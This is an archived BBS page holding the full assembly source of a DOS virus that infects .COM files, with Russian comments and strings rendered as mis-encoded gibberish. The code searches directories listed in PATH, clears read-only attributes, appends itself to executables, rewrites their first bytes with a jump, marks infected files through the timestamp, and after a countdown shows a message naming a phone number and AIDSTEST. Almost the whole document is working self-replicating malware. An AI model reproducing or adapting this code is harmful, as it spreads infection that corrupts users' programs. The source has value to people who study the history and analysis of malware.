home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
loza5.asm
< prev
next >
Wrap
Assembly Source File
|
1990-12-10
|
13KB
|
458 lines
code segment
assume cs:code, ds:code
org 100h
c648m proc far
start:
jmp vir_start
nop
mov ah,9
mov dx, offset murlo
int 21h
mov ax,4c00
int 21
murlo db 'é¿απß ñ½∩ Γ«ó.﫺¿¡ß¬«ú«',0dh,0ah,'$'
; ß¼ÑΘÑ¡¿∩ »ÑαѼѡ¡δσ
first_bytes equ first-vir_data
time equ time_file - vir_data
date equ date_file - vir_data
address equ addr_vir - vir_data
attrib equ attib_file - vir_data
vir_dta equ new_dta - vir_data
path equ pat_word - vir_data
buferok equ b_ok - vir_data
full_path equ f_path - vir_data
comfile equ file_typ - vir_data
bufer1 equ b1 - vir_data
jumpik equ jmp_near - vir_data
reklama equ rek_text - vir_data
counter equ count - vir_data
cur_date equ current_date - vir_data
not_all_str equ not_allowed - vir_data
sys_vect equ int24_sys - vir_data
int_24 equ int_24_p - vir_data
dta_time equ vir_dta + 16h ; óαѼ∩ ß«ºñá¡¿∩ Σá⌐½á
dta_size equ vir_dta + 1ah ; αẼÑα Σá⌐½á
dta_name equ vir_dta + 1eh ; ¿¼∩ Σá⌐½á
SECRET_TIME equ 1dh ;¿¡ñ¿¬áΓ«α ¿¡Σ¿µ¿α«óá¡¿∩
;
;--------------------------------
;
vir_length equ vir_end - vir_start + 1
max_len equ 0feeh - vir_length
min_len equ vir_length + 25h
code_shift equ vir_data - vir_start
;
VIRUS Proc Near
Vir_start:
Cop_loop:
mov dx,offset Vir_data
cld
mov si,dx
add si,First_bytes
mov di,100h ; ¡áτá½∞¡δ⌐ áñαÑß COM - »α«úαá¼¼δ
movsw ; µ¿¬½ ºá⌐¼ÑΓ í«½∞ΦÑ »á¼∩Γ¿
movsw ; 2 ß½«óá íδßΓαÑÑ 4 íá⌐Γ !
mov si,dx ; ó««ßΓá¡áó½¿óáѼ º«¡π ñá¡¡δσ
;
;
; óÑαß¿ε DOS ¡Ñ »α«óÑα∩Ѽ - ¡¿ªÑ 3.1 ßÑ⌐τáß ¡¿¬Γ« ¡Ñ
; ¿ß»«½∞ºπÑΓ !
;
mov dx,Vir_DTA ; πßΓá¡«ó¬á ¡«ó«ú« º¡áτÑ¡¿∩ DTA
add dx,si
mov ah,1Ah
int 21
;
; πßΓá¡«ó¬á óÑ¬Γ«αá 24H
;
push es
mov ax,3524h ; ß«σαá¡∩Ѽ ß¿ßΓѼ¡πε
int 21 ; ¡áßΓα«⌐¬π
mov ax,es
mov [si+sys_vect],ax
mov [si+sys_vect+2],bx
;
mov dx,int_24
add dx,si
mov ax,2524h ; ¿ πßΓá¡áó½¿óáѼ ¡áΦ
int 21
;
; πßΓá¡«ó¬á ßÑú¼Ñ¡Γá ES ¡á «¬απªÑ¡¿Ñ DOS
;
push si ; ß«σαá¡∩Ѽ ßÑú¼Ñ¡Γδ, ¡Ñ«íσ«ñ¿¼δÑ
; ñ½∩ ñá½∞¡Ñ⌐ΦÑ⌐ αáí«Γδ
mov es,ds:2ch ; ß¼ÑΘÑ¡¿Ñ ß½«óá «¬απªÑ¡¿∩
mov di,0
Scan_envir:
pop si ; ¡áßΓα«⌐¬á ß¼ÑΘÑ¡¿∩ ñá¡¡δσ ÇÉÅ
push si
add si,path
lodsb
mov cx,8000h
repne scasb
mov cx,4
Scan_path:
lodsb
scasb
jnz Scan_envir ; Ñß½¿ ¡Ñ ß«ó»áñáÑΓ - »«óΓ«α á¡á½¿ºá
loop scan_path ; »α«óÑα¬á óßÑú« ß½«óá
;
; ö¿¬ß¿απѼ »«½«ªÑ¡¿Ñ π¬áºáΓѽ∩ PATH
;
pop si
pop es
mov [si+buferok],di
mov bx,si
add si,full_path
mov di,si
jmp short find_first_file
;
; «»αÑñѽ∩Ѽ ß»¿ß«¬ ¬áΓὫú«ó, »«ñ½ÑªáΘ¿σ
; ߬᡿α«óá¡¿ε
dir_search:
cmp word ptr [si+buferok],0
jne path_no_empty
jmp check_fire
; Ñß½¿ ¿¡Σ¿µ¿α«óá¡δ óßÑ ñ«ßΓπ»¡δÑ
; τÑαѺ PATH Σá⌐½δ - «ú«¡∞!
path_no_empty:
push ds
push si
mov ds,es:2ch
mov di,si ; πßΓá¡«ó¬á ß¼ÑΘÑ¡¿∩
mov si,es:[di+buferok]
add di,full_path
check1: ; ¬«»¿απѼ «ñ¿¡ ¿º ¬áΓὫú«ó PATH
; ó αáí«τ¿⌐ íπΣÑα
lodsb
cmp al,';' ; αáºñѽ¿Γѽ∞ ¬áΓὫú«ó
je fix_position
cmp al,0 ; ¬«¡Ñµ «»¿ßá¡¿∩
je end_position
stosb
jmp short check1 ; »α«ñ«½ªáѼ ...
end_position:
mov si,0
fix_position:
pop bx
pop ds
mov [bx+buferok],si
cmp byte ptr [di-1],'\'
je find_first_file
mov al,'\'
stosb
;
; ¡á⌐Γ¿ »Ñαóδ⌐ Σá⌐½ ó ßΣ«α¼¿α«óá¡¡«¼ ¬áΓὫúÑ
;
find_first_file:
mov [bx+bufer1],di
mov si,bx
add si,comfile
mov cx,6
rep movsb
mov si,bx
mov ah,4eh
mov dx,full_path
add dx,si
mov cx,3 ; áΓα¿íπΓδ
int 21
jmp short search_anal
find_next_file:
mov ah,4fh
int 21
search_anal:
jnc search_ok
jmp short dir_search
search_ok: ; »α«óÑα¬á óαѼѡ¿ ß«ºñá¡¿∩
mov ax,word ptr [si+dta_time]
and al,secret_time
cmp al,secret_time
je find_next_file ; Ñß½¿ Σá⌐½ πªÑ »«αáªÑ¡...
;
; »α«óÑα¬á αẼÑα«ó »«αáªáѼ«ú« Σá⌐½á
;
cmp word ptr [si+dta_size], max_len
ja find_next_file ; ß½¿Φ¬«¼ ñ½¿¡¡δ⌐
cmp word ptr [si+dta_size], min_len
jb find_next_file ; ß½¿Φ¬«¼ ¬«α«Γ¬¿⌐
; 󫺼«ª¡« - ñ஧«Σ¿½á !!!
mov di,[si+bufer1]
push si
add si,dta_name
Copy_name:
lodsb
stosb
cmp al,0
jne copy_name
pop si
;
; »α«óÑα¿Γ∞, ¡Ñ »δΓáѼß∩ ½¿ ¼δ ¿¡Σ¿µ¿α«óáΓ∞
; COMMAND.COM ¿ Ñß½¿ ñá, Γ« »ÑαÑ⌐Γ¿ ¬
; ß½ÑñπεΘѼπ Σá⌐½π
;
mov dx,si
mov di,si
add di,full_path ;ºñÑß∞ - »«½¡«Ñ ¿¼∩ Σá⌐½á
Scan_com:
mov si,dx
add si,not_all_str ;π¬áºáΓѽ∞ ¡á ßΓ᫬π ß
;Φáí½«¡«¼ COMMAND.COM
lodsb
mov cx,65d ;ñ½¿¡á íπΣÑαá ¿¼Ñ¡¿ Σá⌐½á
repne scasb
jcxz short name_ok
mov cx,10d ;ñ½¿¡á Φáí½«¡á »«¿ß¬á
Scan_word:
lodsb
scasb
jnz scan_com
loop scan_word
mov si,dx
jcxz find_next_file
name_ok:
mov si,dx
;
; »«½πτ¿Γ∞ ΓѬπΘ¿Ñ áΓα¿íπΓδ
;
mov ax,4300h
mov dx,full_path
add dx,si
int 21
;
; πßΓá¡«ó¬á ¡Ñ«íσ«ñ¿¼δσ ñ½∩ αáí«Γδ ÇÉÅ
; º¡áτÑ¡¿⌐ áΓ¿íπΓ«ó Σá⌐½«ó
;
mov [si+attrib],cx
mov ax,4301h
and cx,0fffeh ; πí¿αáѼ READ-ONLY
mov dx,full_path
add dx,si
int 21
jc find_next_file ; Ñß½¿ ñ¿ß¬ ºáΘ¿ΘÑ¡ «Γ ºá»¿ß¿
;
; «Γ¬αδóáѼ Σá⌐½ ñ½∩ τΓÑ¡¿∩/ºá»¿ß¿
;
mov ax,3d02
mov dx,full_path
add dx,si
int 21
jnc next_step
jmp restore_attrib
next_step:
mov bx,ax
mov ax,5700h
int 21 ; »«½πτáѼ ñáΓπ/óαѼ∩
;
mov [si+time],cx
mov [si+date],dx
;
; »α«óÑα¬á πß½«ó¿∩ ó¬½ετÑ¡¿∩ ÇÉÅ
; ¡Ñ ñ«»π߬áÑΓß∩ á¬Γ¿ó¿ºáµ¼∩ ó ñÑ¡∞ ºáαáªÑ¡¿∩
;
check_fire:
mov ah,2ah ; »«½πτ¿Γ∞ º¡áτÑ¡¿Ñ ΓѬπΘÑ⌐ ñáΓδ
int 21h
cmp dl,[si+cur_date]
jnz act_vir
a1: jmp restore_attrib
act_vir:
mov [si+cur_date],dl ; ß½ÑñπεΘÑÑ »«¬«½Ñ¡¿Ñ á¬Γ¿ó¿º¿απÑΓß∩
; Γ«½∞¬« ¡á ß½ÑñπεΘ¿⌐ ñÑ¡∞
; »α«óÑα¬á πß½«ó¿∩ á¬Γ¿óᵿ¿
; µÑ½Ñó«⌐ Σπ¡¬µ¿¿ ÇÉÅ
;
mov al,[si+counter] ; ßτÑΓτ¿¬ «ñ¡«íá⌐Γ«óδ⌐
dec al ; τ¿ß½« »«¬«½Ñ¡¿⌐ σαá¡¿Γß∩
mov [si+counter],al ; ó »ÑαѼѡ¡«⌐ COUNT
;
jnz infection
;
; φΣΣѬΓδ ....
;
FIRE:
mov ah,9
mov dx,si
add dx,reklama ; ÇÉÅ φ¬ß»Ñα¿¼Ñ¡Γá½∞¡δ⌐ íѺ
int 21 ; »«óαѪñÑ¡¿∩ ñá¡¡δσ
mov ah,1
int 21
cmp word ptr [si+buferok],0
je a1
;
infection:
mov ah,3fh
mov cx,4
mov dx,first_bytes ; τ¿ΓáѼ »ÑαóδÑ íá⌐Γδ
add dx,si
int 21
jc end_of_process
cmp ax,4
jne end_of_process
;
; «»αÑñѽ∩Ѽ ñ½¿¡π »«αáªáѼ«ú« Σá⌐½á
;
mov ax,4202h
xor cx,cx
mov dx,cx
int 21
jc end_of_process
mov cx,ax ; ñ½¿¡á »α«úαá¼¼δ
sub ax,3
mov [si+address],ax
;
; «»αÑñѽѡ¿Ñ ¡áτὫ ß¼ÑΘÑ¡¿∩ ñá¡¡δσ ÇÉÅ
; ¿ πßΓá¡«ó¬á Ñú« ó ¡áτὫ ÇÉÅ
;
add cx,offset vir_data - vir_start + 100h
mov di,si
sub di, vir_data - cop_loop -1
mov [di],cx
;
; ºá»¿ß∞ ÇÉÅ ó »«αáªáѼπε »α«úαá¼¼π
;
mov ah,40h
mov cx,Vir_length
mov dx,si
sub dx,Code_shift
int 21h
jc end_of_process
cmp ax,Vir_length
jne end_of_process
;
; »ÑαѼ«Γ¬á Σá⌐½á ó ¡áτὫ
;
mov ax,4200h
xor cx,cx
mov dx,cx
int 21h
jc end_of_process
;
; ºá»¿ß∞ ó ¡áτὫ Σá⌐½á ¬«¼á¡ñδ »ÑαÑñáτ¿
; π»αáó½Ñ¡¿∩ ¡á ÇÉÅ
;
mov ah,40h
mov cx,4
mov dx,si
add dx,jumpik
int 21h
end_of_process:
;
; πßΓá¡«ó¬á ¿¡ñ¿¬áΓ«αá ºáαáªÑ¡¿∩ Σá⌐½á
;
mov dx,[si+date]
mov cx,[si+time]
and cx,0ffe0h
or cx,secret_time
mov ax,5701h
int 21
;
; ºá¬αδóáѼ Σá⌐½
;
mov ah,3eh
int 21h
restore_attrib:
mov ax,4301h
mov cx,[si+attrib]
mov dx,full_path
add dx,si
int 21
;
restore_DTA:
push ds
mov ah,1ah
mov dx,80
int 21
; ó«ßßΓá¡áó½¿óáѼ ß¿ßΓѼ¡δ⌐ «íαáí«Γτ¿¬ «Φ¿í«¬
mov ax,[si+sys_vect]
mov ds,ax
mov dx,[si+sys_vect+2]
mov ax,2524h
int 21h
pop ds
;
xor ax,ax
xor bx,bx
xor si,si
mov di,100h
push di
xor di,di
ret ; »ÑαÑñáτá π»αáó½Ñ¡¿∩ »α«úαá¼¼Ñ-¡«ß¿Γѽε
;
; »α«µÑñπαá «íαáí«Γ¬¿ »αÑαδóá¡¿∩ 24h
; - ¬α¿Γ¿τÑ߬á∩ «Φ¿í¬á -
int_24_p equ $
INT24: mov al,3 ; »ÑαÑñáΓ∞ «íαáí«Γ¬π ó DOS
iret
;
;-----------------------------
; «í½áßΓ∞ ñá¡¡δσ ÇÉÅ
;-----------------------------
Vir_data equ $
INT24_SYS dw 0,0
TIME_FILE dw 0 ; óαѼ∩ »«αáªáѼ«ú« Σá⌐½á
DATE_FILE dw 0 ; ñáΓá ---" -----" -----
REK_TEXT db 0dh,0ah
db 'ƒ, ¬áªÑΓß∩, »«ñσóáΓ¿½á ¬á¬πε-Γ« ºáαáºπ...',
db 0dh,0ah
db 'æα«τ¡« ºó«¡¿ΓÑ ä¼¿Γα¿ε 쿬«½áÑó¿τπ 﫺¿¡ß¬«¼π'
db 0dh,0ah
db '»« ΓѽÑΣ«¡π 292-40-76 (î«ß¬óá) ¿ »α¿«íαÑΓ¿ΓÑ'
db 0dh,0ah
db ' ÅÉÄâÉÇîîô AIDSTEST !!!'
db 7,0dh,0ah,0ah,'$'
ATTIB_FILE dw 0 ; áΓα¿íπΓδ
COUNT db 10d ; ßτÑΓτ¿¬ »«¬«½Ñ¡¿⌐ ÇÉÅ ñ« ¡áτá½á
; á¬Γ¿óᵿ¿ µÑ½Ñó«⌐ Σπ¡¬µ¿¿
FIRST dw 9090,9090; »ÑαóδÑ íá⌐Γδ »α«úαá¼¼δ
JMP_NEAR db 0E9h ; ¬«¼á¡ñá ó¡πΓα¿ßÑú¼Ñ¡Γ¡«ú« »ÑαÑσ«ñá
ADDR_VIR dw 0 ; áñαÑß ¡áτá½á ÇÉÅ é ¬«¼á¡ñÑ JMP
hlt ; »αÑñ«σαá¡¿Γѽ∞ «Γ á¡Γ¿ó¿απß«ó
FILE_TYP db '*.com' ; Φáí½«¡ ñ½∩ »«¿ß¬á Σá⌐½«ó ªÑαΓó
db 0
PAT_WORD db 'PATH=' ; Φáí½«¡ ñ½∩ »«¿ß¬á ó ßÑú¼Ñ¡ΓÑ ßαÑñδ
B_OK dw 0 ; αáí«τ¿Ñ ∩τÑ⌐¬¿
B1 dw 0
; »«ß¬«½∞¬π ¿º¼Ñ¡Ñ¡¿Ñ Σá⌐½á COMMAND.COM ó« ¼¡«ú¿σ ß¿ßΓѼáσ
; ºáΘ¿Γδ Σ¿¬ß¿απÑΓß∩ - Ñú« ºáαáªáΓ∞ ¡Ñ ß½ÑñπÑΓ !
NOT_ALLOWED db 'COMMAND.COM'
CURRENT_DATE db 1 ; τ¿ß½« ¼Ñß∩µá - ñáΓá ºáαáªÑ¡¿∩
vir_end equ $
F_PATH db 65d dup (20) ; íπΣÑα ñ½∩ »«½¡«ú« ¿¼Ñ¡¿ Σá⌐½á
NEW_DTA db 2ch dup (0) ; ¡«óδ⌐ DTA, πßΓá¡áó½¿óáѼδ⌐ ÇÉÅ
;
; ñ½∩ ñá½∞¡Ñ⌐ΦÑ⌐ αáí«Γδ
VIRUS Endp
c648m endp
code ends
end C648M